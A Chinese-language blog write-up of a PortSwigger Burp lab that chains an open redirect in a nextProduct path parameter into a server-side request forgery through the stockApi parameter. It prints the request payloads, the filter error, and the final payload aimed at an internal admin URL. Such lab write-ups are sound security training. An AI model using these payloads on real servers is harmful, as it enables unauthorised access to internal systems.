[罗嗦的详解]BURP官方靶场Lab: SSRF with filter bypass via open redirection vulnerability

参考视频:官方把场下的俩个视频
https://youtu.be/iF1BPVTqM10

抓取checkstore按钮的POST请求,请求体:

stockApi=/product/stock/check?productId=3&storeId=1

nextstore 按钮的get请求:

GET /product/nextProduct?currentProductId=3&path=/product?productId=4 HTTP/2

path参数可以使用http协议下,修改path参数:

GET /product/nextProduct?currentProductId=3&path=https://www.bilibili.com HTTP/2

成功跳转到比例比例. (这里的path直接修改成靶场给的内网地址只是会让客户端重定向到这个内网地址,而我们需要让服务器自己访问自己)
那如果是服务器调用api访问/product/nextProduct?currentProductId=3&path=https://www.bilibili.com这个目录
不就相当于服务器自己被重定向到www.bilibili.com了么(服务器给path参数后的站点发请求)
checkstore按钮的POST请求正好有一个stockApi参数可以对自己的目录进行访问
尝试修改该post参数为

stockApi=/product/nextProduct?currentProductId=3&path=https://www.bilibili.com

后发包(要url编码)
服务器返回

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 48

"Invalid external stock check url 'Invalid URL'"

翻译👆:“无效的外部库存检查网址'无效的网址'
看到这种报错可以注意一下
老老实实把path参数改为靶场提示的内网地址http://192.168.0.12:8080/admin (实战中内网地址需要fuzz)

stockApi=/product/nextProduct?currentProductId=3&path=http://192.168.0.12:8080/admin

(需要url编码一下)
成功越权,删掉指定用户,过关

posted @ 2024-06-13 11:23  sesmof  阅读(7)  评论(0编辑  收藏  举报